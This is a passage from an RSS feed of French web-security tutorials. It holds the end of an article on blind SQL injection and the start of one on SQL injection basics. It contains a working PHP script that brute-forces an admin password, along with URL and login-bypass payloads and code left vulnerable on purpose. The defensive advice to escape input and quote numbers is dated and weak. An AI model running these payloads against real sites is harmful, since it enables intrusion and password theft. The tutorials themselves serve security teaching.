carcat&egrave;re par caract&egrave;re en utilisant la fonction SUBSTRING() de MySQL qui permet d&#39;isoler une sous-cha&icirc;ne ou caract&egrave;re d&#39;une cha&icirc;ne.</p>      <p>Pour trouver la longueur, on appelle le script comme ceci :</p>      <div class="code"> http://site.com/script.php?id=1 and length(pass)=$i </div>       <p>En faisant varier $i, on trouvera la longueur du pass assez rapidement. D&egrave;s que la page affichera &quot;admin aime les poissons&quot;, cela voudra dire que la longueur sera &eacute;gale &agrave; $i. Les adeptes de l&#39;optimisation peuvent utiliser la dichotomie avec les op&eacute;rateurs &gt; et &lt; pour acc&eacute;l&eacute;rer la recherche.</p>      <p>Une fois que l&#39;on a la longueur, on utilise l&#39;astuce de SUBSTRING en appelant le script de cette fa&ccedil;on : </p>      <div class="code"> http://site.com/script.php?id=1 and substring(pass,$i,1)=char($code)&quot; </div>       <p>Cette fois ci, on fait varier $i pour se d&eacute;placer dans le mot de passe et bruteforcer le $ieme caract&egrave;re, et on fait varier $code qui est le code ascii &agrave; tester pour ce $ieme caract&egrave;re. Encore une fois, d&egrave;s que &quot;admin aime les poissons&quot; apparait, c&#39;est bon. On obtient le mot de passe final quand $i atteint la longueur du mot de passe trouv&eacute; pr&eacute;c&eacute;demment.</p>      <p>Voici un script qui r&eacute;alise le travail en PHP. (Je sais, ce n&#39;est pas terrible comme langage pour ce type d&#39;exploit, je compte le refaire en Perl :))</p>      <div class="code"> &lt;?<br />   //On d&eacute;sactive la limite des 30sec d&#39;ex&eacute;cution du script<br />   set_time_limit(0);<br />   <br />   //L&#39;URL standard &agrave; exploiter<br />   $url=&quot;http://site.com/script.php?id=1&quot;;<br />   <br />   /* Bruteforce de la longueur du pass */<br />   <br />   $max = 40; //La longueur maxi qu&#39;on s&#39;autorise<br />   $longueur = 0;<br />   echo &quot;Bruteforce de la longueur du mot de passe en cours...&amp;lt;br /&amp;gt;&quot;;<br />   for($i = 1; $i&lt;$max; $i++){<br />   &nbsp;&nbsp;&nbsp;<br />   &nbsp;&nbsp;&nbsp;//On ouvre l&#39;URL<br />   &nbsp;&nbsp;&nbsp;$fp = fopen($url . urlencode(&quot; and length(password)=$i&quot;),&quot;r&quot;);<br />   &nbsp;&nbsp;&nbsp;$buf = &quot;&quot;;<br />   &nbsp;&nbsp;&nbsp;<br />   &nbsp;&nbsp;&nbsp;//On lit le r&eacute;sultat<br />   &nbsp;&nbsp;&nbsp;while(!feof($fp))<br />   &nbsp;&nbsp;&nbsp;{<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$buf .= fgets($fp);		<br />   &nbsp;&nbsp;&nbsp;}<br />   &nbsp;&nbsp;&nbsp;//Si on trouve &quot;admin&quot; sur la page<br />   &nbsp;&nbsp;&nbsp;if(preg_match(&quot;/admin/&quot;,$buf)) {<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;La longueur du pass est : $i &lt;br /&gt;&quot;;<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$longueur = $i;<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />   &nbsp;&nbsp;&nbsp;}<br />   <br />   }<br />   if($longueur == 0) die(&quot;Longueur non trouv&eacute;e&quot;);<br />   <br />   <br />   /* Bruteforce du pass */<br />   <br />   $pass = &quot;&quot;;<br />   $i = 1;<br />   <br />   //Plage des caract&egrave;res ASCII &agrave; balayer<br />   $borne_inf = 48;<br />   $borne_sup = 123;<br />   <br />   //Initialisation<br />   $code = $borne_inf;<br />   <br />   while($i &lt;= $longueur){<br />   	<br />   &nbsp;&nbsp;&nbsp;if($code == $borne_sup + 1) $code = $borne_inf;<br />   &nbsp;&nbsp;&nbsp;<br />   &nbsp;&nbsp;&nbsp;//On ouvre l&#39;URL<br />   &nbsp;&nbsp;&nbsp;$fp = fopen($url.urlencode(&quot; and substring(pass,$i,1)=char($code)&quot;),&quot;r&quot;);<br />   &nbsp;&nbsp;&nbsp;$ligne = &quot;&quot;;<br />   &nbsp;&nbsp;&nbsp;<br />   &nbsp;&nbsp;&nbsp;//On lit et on teste<br />   &nbsp;&nbsp;&nbsp;while(!feof($fp))<br />   &nbsp;&nbsp;&nbsp;{<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ligne .= fgets($fp);		<br />   &nbsp;&nbsp;&nbsp;}<br />   &nbsp;&nbsp;&nbsp;if(preg_match(&quot;/admin/&quot;,$ligne)) {<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Une lettre &agrave; &eacute;t&eacute; trouv&eacute;e !<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;$i eme lettre trouv&eacute;e : &quot;.chr($code).&quot; &lt;br /&gt;&quot;;<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$pass .= chr($code);<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//On passe au caract&egrave;re suivant<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$i++;<br />   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$code = $borne_inf;<br />   &nbsp;&nbsp;&nbsp;}<br />   &nbsp;&nbsp;&nbsp;$code++;<br />   }<br />   echo &quot;Pass final : $pass &lt;br /&gt;&quot;;<br />   ?&gt; </div>       <p>Au bout de quelques minutes on obtient le pass... le plus souvent en crypt&eacute;, si l&#39;admin a &eacute;t&eacute; intelligent. Mais le decryptage ne fait pas partie de cet article... &agrave; vous de vous armer des outils ad&eacute;quats, d&#39;une bonne wordlist... et de patience :). Si c&#39;est du MD5, allez faire un tour sur Wikip&eacute;dia &agrave; l&#39;article MD5, le bas de page est bien fourni en liens vers des petits tools qui &quot;inversent&quot; les hashs MD5 &agrave; l&#39;aide de tables.</p>      <h2>R&eacute;f&eacute;rences</h2>      <ul>  <li><a href="http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html">Blind SQL Injection</a></li>   <li><a href="http://www.thehackademy.net/article.php?story_id=95&amp;section_id=57">Article de The Hackademy sur les injections</a></li>   <li><a href="http://teh-win.blogspot.com/">IT Security by girls - un blog tr&egrave;s instructif sur la s&eacute;curit&eacute; en g&eacute;n&eacute;ral</a></li>   <li><a href="http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf">SQL Injections White Paper</a></li>   <li><a href="http://www.unixwiz.net/techtips/sql-injection.html">SQL Injections</a></li>   <li><a href="http://www.cgisecurity.com/development/sql.shtml">Liste de liens sur les injections</a></li>   <li><a href="http://dev.mysql.com/doc/refman/5.0/en/string-functions.html">Fonctions MySQL sur les cha&icirc;nes de caract&egrave;res</a></li>   <li><a href="http://fr.wikipedia.org/wiki/MD5">Article MD5 sur Wikipedia</a></li>  </ul> <br /> <em>Cet article a &eacute;t&eacute; r&eacute;dig&eacute; par Trancefusion et provient de <a href="http://www.ghostsinthestack.org/article-11-blind-sql-injections.html">http://www.ghostsinthestack.org/article-11-blind-sql-injections.html</a> . Il est diffus&eacute; sous licence <a href="http://creativecommons.org/licenses/by-nc-sa/2.0/fr/">Creative Commons By-Nc-Sa 2.0</a> .</em><br />  ]]></content:encoded>
		<pubDate>Sat, 31 Mar 2007 00:37:38 +0200</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-1511-3752-blind-sql-injections.html</guid>
	</item>
	<item>
		<title><![CDATA[Les bases des Injections SQL]]></title>
		<link>http://www.loadation.net/article-1511-3750-les-bases-des-injections-sql.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[Les injections SQL font partie des failles Web redoutables, puisqu&#39;elles s&#39;exploitent c&ocirc;t&eacute; serveur. Elles touchent les sites qui interagissent de mani&egrave;re non s&eacute;curis&eacute;e avec une base de donn&eacute;es, permettant ainsi &agrave; un attaquant de...]]></description>
		<content:encoded><![CDATA[      <div id="sommaire">  <h2>Sommaire</h2>             <ol>      <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3750#p1">Exemple - Principe de base</a></li>           <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3750#p2">Bypasser un formulaire d&#39;authentification</a></li>           <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3750#p3">Correction</a></li>           <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3750#p4">Obtenir des infos - Exemples d&#39;injections plus pouss&eacute;es</a>             <ol class="listeSousTitre">      <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3750#p4i">Obtenir un mot de passe</a></li>           <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3750#p4ii">Autres exemples</a></li>      </ol>          </li>      </ol>                   </div>                        <h2 id="p1">1. Exemple - Principe de base</h2>              <p> Le principe de base qui explique la pr&eacute;sence d&#39;une faille d&#39;injection SQL est tr&egrave;s simple. Observons ce code pour  comprendre : </p>              <div class="code"> &lt;!-- recherche.php --&gt;<br />       &lt;html&gt;<br />       <br />       &lt;head&gt;<br />       &lt;title&gt;Sans titre&lt;/title&gt;<br />       <br />       &lt;/head&gt;<br />       <br />       &lt;body bgcolor=&quot;black&quot; text=&quot;white&quot; link=&quot;yellow&quot; vlink=&quot;fuchsia&quot;&gt;<br />       &lt;p align=&quot;center&quot;&gt;&lt;strong&gt;Recherche dans les articles :&lt;/strong&gt;&lt;/p&gt;<br />       &lt;?<br />       if (isset($_POST[&quot;rech&quot;]))<br />       {<br />       &nbsp;&nbsp;$connect = mysql_connect(HOST,USER,PASS);<br />       &nbsp;&nbsp;mysql_select_db(BASE,$connect);<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;$sql = &quot;SELECT id_article, titre, contenu FROM articles WHERE titre LIKE &#39;%&quot;.<br />       &nbsp;&nbsp;$_POST[&quot;rech&quot;].&quot;%&#39; OR contenu LIKE &#39;%&quot;.$_POST[&quot;rech&quot;].&quot;%&#39;&quot;;<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;$result = @mysql_query($sql) or die (&quot;Erreur dans le tra&icirc;tement de la requ&ecirc;te :&quot;.$sql);<br />       &nbsp;&nbsp;$n = mysql_num_rows($result);<br />       &nbsp;&nbsp;if ($n &lt; 1)<br />       &nbsp;&nbsp;{<br />       &nbsp;&nbsp;&nbsp;&nbsp;echo &nbsp;&quot;&lt;p align=&#39;center&#39;&gt;Nous n&#39;avons trouv&eacute; aucun r&eacute;sultat pour \&quot;&lt;b&gt;&quot;.<br />       &nbsp;&nbsp;&nbsp;&nbsp;$_POST[&quot;rech&quot;].&quot;&lt;/b&gt;\&quot;.&quot;;<br />       &nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt; Vous pouvez relancer une recherche :&lt;/p&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&lt;form name=&quot;form_rech&quot; method=&quot;post&quot; action=&quot;recherche.php&quot;&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;rech&quot; size=&quot;12&quot;&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;formbutton1&quot; value=&quot;Rechercher&quot;&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&lt;?<br />       &nbsp;&nbsp;}<br />       &nbsp;&nbsp;else<br />       &nbsp;&nbsp;{<br />       &nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;Nous avons trouv&eacute; les r&eacute;sultats suivants :&lt;/p&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&lt;?<br />       &nbsp;&nbsp;&nbsp;&nbsp;while($row = mysql_fetch_array($result))<br />       &nbsp;&nbsp;&nbsp;&nbsp;{<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;573&quot; align=&quot;center&quot;&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td width=&quot;563&quot; height=&quot;28&quot; bgcolor=&quot;#660000&quot;&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&lt;b&gt;&lt;?=$row[&quot;titre&quot;]?&gt;&lt;/b&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/td&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;td width=&quot;563&quot; height=&quot;18&quot; bgcolor=&quot;#000066&quot;&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;&lt;?=$row[&quot;contenu&quot;]?&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/td&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/table&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;?<br />       &nbsp;&nbsp;&nbsp;&nbsp;}<br />       &nbsp;&nbsp;}<br />       &nbsp;&nbsp;mysql_close($connect);<br />       }<br />       else<br />       {<br />       &nbsp;&nbsp;?&gt;<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt; Tapez ce que vous voulez rechercher sur le site :&lt;/p&gt;<br />       &nbsp;&nbsp;&lt;form name=&quot;form_rech&quot; method=&quot;post&quot; action=&quot;recherche.php&quot;&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;rech&quot; size=&quot;12&quot;&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;formbutton1&quot; &nbsp;&nbsp;value=&quot;Rechercher&quot;&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;&lt;/form&gt;<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;&lt;?<br />       }<br />       ?&gt;<br />       &lt;/body&gt;<br />       &lt;/html&gt; </div>               <p>Bien qu&#39;un peu long, ce code montre un exemple complet de page. Quel est son r&ocirc;le ? C&#39;est un moteur de recherche dans des articles, tout simplement. La vuln&eacute;rabilit&eacute; se situe dans le code en rouge. En effet, la  requ&ecirc;te effectu&eacute;e est la suivante :</p>              <div class="code"> $sql = &quot;SELECT id_article, titre, contenu FROM articles WHERE titre<br />       LIKE &#39;%&quot;.$_POST[&quot;rech&quot;].&quot;%&#39; OR contenu LIKE &#39;%&quot;.$_POST[&quot;rech&quot;].&quot;%&#39;&quot;; </div>               <p>En vert se trouve le contenu encadr&eacute; par des guillements simples ; c&#39;est ce que va rechercher le script dans la table des articles, &agrave; l&#39;aide de l&#39;op&eacute;rateur <strong>LIKE</strong>. En effet, LIKE utilis&eacute; avec le caract&egrave;re &#39;%&#39; permet de chercher du contenu qui &quot;ressemble&quot; &agrave; ce qui est tap&eacute; par l&#39;utilisateur, car le % est interpr&eacute;t&eacute; par LIKE comme &quot;n&#39;importe quelle cha&icirc;ne de caract&egrave;res&quot;. C&#39;est un peu comme une expression r&eacute;guli&egrave;re ; si vous recherchez &quot;<code>%un%</code>&quot;, vous pourrez obtenir n&#39;importe quelle cha&icirc;ne de caract&egrave;re contenant &quot;un&quot;, comme &quot;une&quot;, &quot;lune&quot;, et &quot;brun&quot;.</p>              <p>Mais cet op&eacute;rateur ne constitue pas une faille. La vuln&eacute;rabilit&eacute; est due au fait que l&#39;entr&eacute;e <code>$_POST[&quot;rech&quot;]</code> n&#39;est pas filtr&eacute;e. Car nous pouvons imaginer qu&#39;un utilisateur rentre cette cha&icirc;ne : &quot;<code>n&#39;importe quoi</code>&quot;. A ce moment l&agrave;, la requ&ecirc;te devient : </p>              <div class="code"> $sql = &quot;SELECT id_article, titre, contenu FROM articles WHERE titre LIKE &#39;%n&#39;importe quoi%&#39; OR contenu LIKE &#39;%n&#39;importe quoi%&#39;&quot;; </div>               <p>Et l&#39;on remarque tr&egrave;s vite le probl&egrave;me qui va se poser : une erreur de syntaxe due au guillement, que mysql intermpr&egrave;te comme la fin de la cha&icirc;ne de caract&egrave;res. La requ&ecirc;te ne sera pas ex&eacute;cut&eacute;e, et le visiteur obtiendra : </p>              <div class="shell"> Erreur dans le tra&icirc;tement de la requ&ecirc;te :<br />       SELECT id_article, titre, contenu FROM articles WHERE titre<br />       LIKE &#39;%n&#39;importe quoi%&#39; OR contenu LIKE &#39;%n&#39;importe quoi%&#39; </div>               <p>Maintenant, imaginons un visiteur plus exp&eacute;riment&eacute;, et qui conna&icirc;t ce type de faille. Il teste une premi&egrave;re fois le script en rentrant &quot;n&#39;importe quoi&quot;, le script plante et lui affiche la req&ecirc;te fautive. Ensuite, voici ce qu&#39;il pourra&icirc;t rentrer dans le formulaire : </p>              <div class="code"> a&#39; OR &#39;a%&#39; = &#39;a </div>              <p>La requ&ecirc;te devient donc : </p>              <div class="code"> SELECT id_article, titre, contenu FROM articles WHERE titre<br />       LIKE &#39;%a&#39; OR &#39;a%&#39; = &#39;a%&#39; OR contenu LIKE &#39;a&#39; OR &#39;a%&#39; = &#39;a%&#39; </div>               <p>Ici, le script ne plantera pas ; il n&#39;y a aucune erreur de syntaxe. Le script ressortira la liste de tous les articles, puisque la condition <code>&#39;a%&#39; = &#39;a%&#39;</code> est toujours r&eacute;alis&eacute;e.</p>              <p>Ceci &eacute;tait un exemple de d&eacute;tournement de requ&ecirc;te, mais il n&#39;est pas tr&egrave;s utile. Cependant, il est tout &agrave; fait possible de d&eacute;tourner le script afin d&#39;obtenir des renseignements utiles sur le serveur. C&#39;est ce que nous allons bient&ocirc;t voir.</p>              <h2 id="p2">2. Bypasser un formulaire d&#39;authentification</h2>              <p>Laissons cet exemple de c&ocirc;t&eacute; et penchons-nous plut&ocirc;t sur un deuxi&egrave;me :</p>              <div class="code"> &lt;!-- admin.php --&gt;<br />       &lt;html&gt;<br />       <br />       &lt;head&gt;<br />       &lt;title&gt;Sans titre&lt;/title&gt;<br />       &lt;/head&gt;<br />       <br />       &lt;body bgcolor=&quot;black&quot; text=&quot;white&quot; link=&quot;yellow&quot; vlink=&quot;fuchsia&quot;&gt;<br />       <br />       &lt;p align=&quot;center&quot;&gt;&lt;span style=&quot;font-size:14pt;&quot;&gt;&lt;b&gt;Page d&#39;administration<br />       &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;<br />       &lt;p align=&quot;center&quot;&gt;&lt;?<br />       if (isset($_POST[&quot;login&quot;]) &amp;&amp; isset ($_POST[&quot;pass&quot;]))<br />       {<br />       &nbsp;&nbsp;$connect = mysql_connect(HOST,USER,PASS);<br />       &nbsp;&nbsp;mysql_select_db(BASE,$connect);<br />       &nbsp;&nbsp;$sql = &quot;SELECT login, pass FROM users WHERE login = &#39;&quot;.$_POST[&quot;login&quot;].&quot;&#39;<br />       &nbsp;&nbsp;AND pass = &#39;&quot;.$_POST[&quot;pass&quot;].&quot;&#39;&quot;;<br />       &nbsp;&nbsp;$result = @mysql_query($sql) or die (&quot;Erreur lors du traitement de la requ&ecirc;te &quot;.$sql);<br />       &nbsp;&nbsp;if (mysql_num_rows($result) &lt; 1) die (&quot;Login/Pass incorrect !&lt;br /&gt;&lt;a href = &#39;admin.php&#39;&gt;Retour&lt;/a&gt;&quot;);<br />       &nbsp;&nbsp;?&gt;<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;Bienvenue ! Vous avez d&eacute;sormais acc&egrave;s &agrave; toutes les fonctions d&#39;administration<br />       &nbsp;&nbsp;du site !<br />       &nbsp;&nbsp;&lt;/p&gt;<br />       &nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&gt; Consulter la BDD&lt;/p&gt;<br />       &nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&gt; G&eacute;rer les articles&lt;/p&gt;<br />       &nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&gt; ...&lt;/p&gt;<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;&lt;?<br />       }<br />       else<br />       {<br />       &nbsp;&nbsp;?&gt;<br />       &nbsp;&nbsp;&lt;p align=&quot;left&quot;&gt;Cette page est r&eacute;serv&eacute;e aux administrateurs ! Si vous &ecirc;tes n&#39;en<br />       &nbsp;&nbsp;&ecirc;tes pas un, cliquez &lt;a href=&quot;index.php&quot;&gt;ici&lt;/a&gt; !&lt;/p&gt;<br />       &nbsp;&nbsp;&lt;p align=&quot;left&quot;&gt; &lt;/p&gt;<br />       &nbsp;&nbsp;&lt;form name=&quot;formlogin&quot; method=&quot;post&quot; action=&quot;admin.php&quot;&gt;<br />       &nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;Entrez votre login / pass :&lt;/p&gt;<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt; &lt;input type=&quot;text&quot; name=&quot;login&quot; value=&quot;login&quot;&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&lt;input type=&quot;password&quot; name=&quot;pass&quot; value=&quot;pass&quot;&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;ok&quot; value=&quot;OK&quot;&gt;&lt;/p&gt;<br />       &nbsp;&nbsp;&lt;/form&gt;<br />       &nbsp;&nbsp;<br />       &nbsp;&nbsp;&lt;?<br />       }<br />       ?&gt;<br />       &lt;/body&gt;<br />       <br />       &lt;/html&gt; </div>              <p>Ceci est un exemple tr&egrave;s basique de formulaire de zone admin. Et non s&eacute;curis&eacute;... Mis &agrave; part qu&#39;il soit vuln&eacute;rable &agrave; une XSS, il l&#39;est &eacute;galement pour les injections SQL. En effet, si nous rentrons ceci :</p>              <div class="code"> a&#39; OR &#39;a&#39;=&#39;a </div>               <p>La requ&ecirc;te en rouge devient</p>              <div class="code"> $sql = &quot;SELECT login, pass FROM users WHERE login = &#39;a&#39; OR &#39;a&#39;=&#39;a&#39; AND pass = &#39;a&#39; or &#39;a&#39;=&#39;a&#39;&quot;; </div>               <p>Ainsi, on peut se loguer sans conna&icirc;tre l&#39;utilsiateur et le mot de passe, puisque la consition &#39;a&#39;=&#39;a&#39; est toujours v&eacute;rifi&eacute;e.</p>              <p>On se rend donc compte que les injections SQL peuvent devenir tr&egrave;s dangereuses si l&#39;administrateur a une politique de s&eacute;curit&eacute; n&eacute;gligente, ou s&#39;il n&#39;en a pas du tout...</p>              <h2 id="p3">3. Correction</h2>              <p>Si vous &ecirc;tes webmaster, cela vous int&eacute;ressera s&ucirc;rement de savoir comment corriger ce type de failles. En r&eacute;alit&eacute;, c&#39;est tr&egrave;s simple, encore faut-il prendre le temps de se documenter &agrave; ce sujet...</p>              <p>Le premier r&eacute;flexe que l&#39;on peut avoir est de se dire &quot;les guillements sont &agrave; proscrire, ce sont eux les causes de ce type de failles&quot;, et donc de coder un script qui enl&egrave;ve tous les guillements ou qui les &eacute;chappe en rajouttant un antishash devant. On peut donc utiliser la fonction addslashes() ou bien utiliser les options magic_quotes_gpc et magic_quotes_runtime qui le font en parmanence pour nous. Ainsi, ce code est s&eacute;curis&eacute; :</p>                <div class="code"> function secure($texte){<br />       &nbsp;&nbsp;&nbsp;return mysql_real_escape_string($texte);<br />       }<br />       <br />       /*<br />       ...<br />       &nbsp;*/<br />       <br />       $sql = &quot;SELECT id_article, titre, contenu FROM articles WHERE titre<br />       LIKE &#39;%&quot;.secure($_POST[&quot;rech&quot;]).&quot;%&#39; OR contenu LIKE &#39;%&quot;.secure($_POST[&quot;rech&quot;]).&quot;%&#39;&quot;; </div>               <p>La fonction que nous avons cod&eacute;, secure(), ajouttera des antislashes si n&eacute;cessaire devant tous les &#39;, ce qui les rendra interpr&eacute;t&eacute;s par mysql non en tant que fin de cha&icirc;ne mais comme des simples caract&egrave;res. Elle utilise la fonction mysql_real_escape_string(), con&ccedil;ue sp&eacute;cialement pour &eacute;viter ce type de failles.</p>              <p>Mais le probl&egrave;me de ce genre de solution appara&icirc;t tr&egrave;s clairement lorsque nous voulons effectuer des requ&ecirc;tes faisant intervenir des nombres :</p>              <div class="code"> $sql = &quot;SELECT id_article, titre, contenu FROM articles<br />       WHERE id_article = &quot;.$_POST[&quot;idarticle&quot;].&quot;&quot;; </div>               <p>En effet, ici, il sera toujours possible de faire des injections SQL car il n&#39;y a pas de guillemets encadrant le nombre (ici, $_POST[&quot;idarticle&quot;]). On peut tr&egrave;s bien taper &quot;<code>0 OR 1=1</code>&quot; afin de lister tous les articles. M&ecirc;me si c&#39;est inutile, cela permet quand m&ecirc;me de prouver l&#39;existence de la faille.</p>              <p>On en conclut que m&ecirc;me si une fonction de s&eacute;curisation des guillements est pr&eacute;sente, qu&#39;elle soit automatique ou non (magic_quotes), il y a toujours un risque. Pour l&#39;&eacute;liminer d&eacute;finitivement, il faut donc faire :</p>              <div class="code"> $sql = &quot;SELECT id_article, titre, contenu FROM articles WHERE id_article = &#39;&quot;.secure($_POST[&quot;idarticle&quot;]).&quot;&#39;&quot;; </div>              <p>On a rajout&eacute; des guillements simples encadrant le nombre, ce qui ne g&egrave;ne en rien Mysql. Et cela rend le script s&eacute;curis&eacute;...</p>              <p>Pour r&eacute;sumer, la solution pour se prot&eacute;ger des injections SQL est simple : il ne faut jamais faire confiance &agrave; l&#39;utilisateur. Ne jamais le sous-estimer et penser qu&#39;il n&#39;est pas inform&eacute;. Il faut alors filtrer tout ce que peut rentrer l&#39;utilisateur avant de faire quoi que ce soit.</p>              <p>De plus, vous ne devez jamais laisser para&icirc;tre les erreurs SQL sur votre site, car une personne malveillante peut faire planter le script volontairement afin de recueuillir des informations sur le nom des champs et des tables du serveur. C&#39;est pour cela qu&#39;il vaut mieux retourner un code d&#39;erreur si une fonction &eacute;choue, plut&ocirc;t que d&#39;affiacher la requ&ecirc;te. D&#39;ailleurs, ici, cet affichage provoque une vuln&eacute;rabilit&eacute; de type XSS, car l&#39;utilisateur malin qui injectera du javascript dans le champ fera d&#39;une part &eacute;chouer l&#39;interaction avec la base, et d&#39;autre part afficher son code...</p>              <h2 id="p4">4. Obtenir des infos - Exemples d&#39;injections plus pouss&eacute;es</h2>              <p>Maintenant, nous allons introduire l&#39;exploitation de ces failles de mani&egrave;re avanc&eacute;e &agrave; travers quelques exemples. Ne perdez pas de vue le fait que ces exemples ne sont pas des cas r&eacute;els ; ici, nous voulons juste montrer l&#39;&eacute;tendue de ces failles. Dans un autre articles, les &quot;Blind Injections SQL&quot;, nous verrons concr&egrave;tement comment l&#39;on se d&eacute;brouille en r&eacute;alit&eacute;. Je vous conseille donc de vous repporter &agrave; cet article pour obtenir des cas plus concrets.</p>           <h3 id="p4i">4.i. Obtenir un mot de passe</h3>             <p>Tout d&#39;abord, reprenons le premier exemple, le moteur de recherche. Ce script tr&egrave;s mal con&ccedil;u affiche la requ&ecirc;te lorsqu&#39;il plante, donc nous allons tirer parti de cet affichage pour noter le nom des tables et des champs. Pour 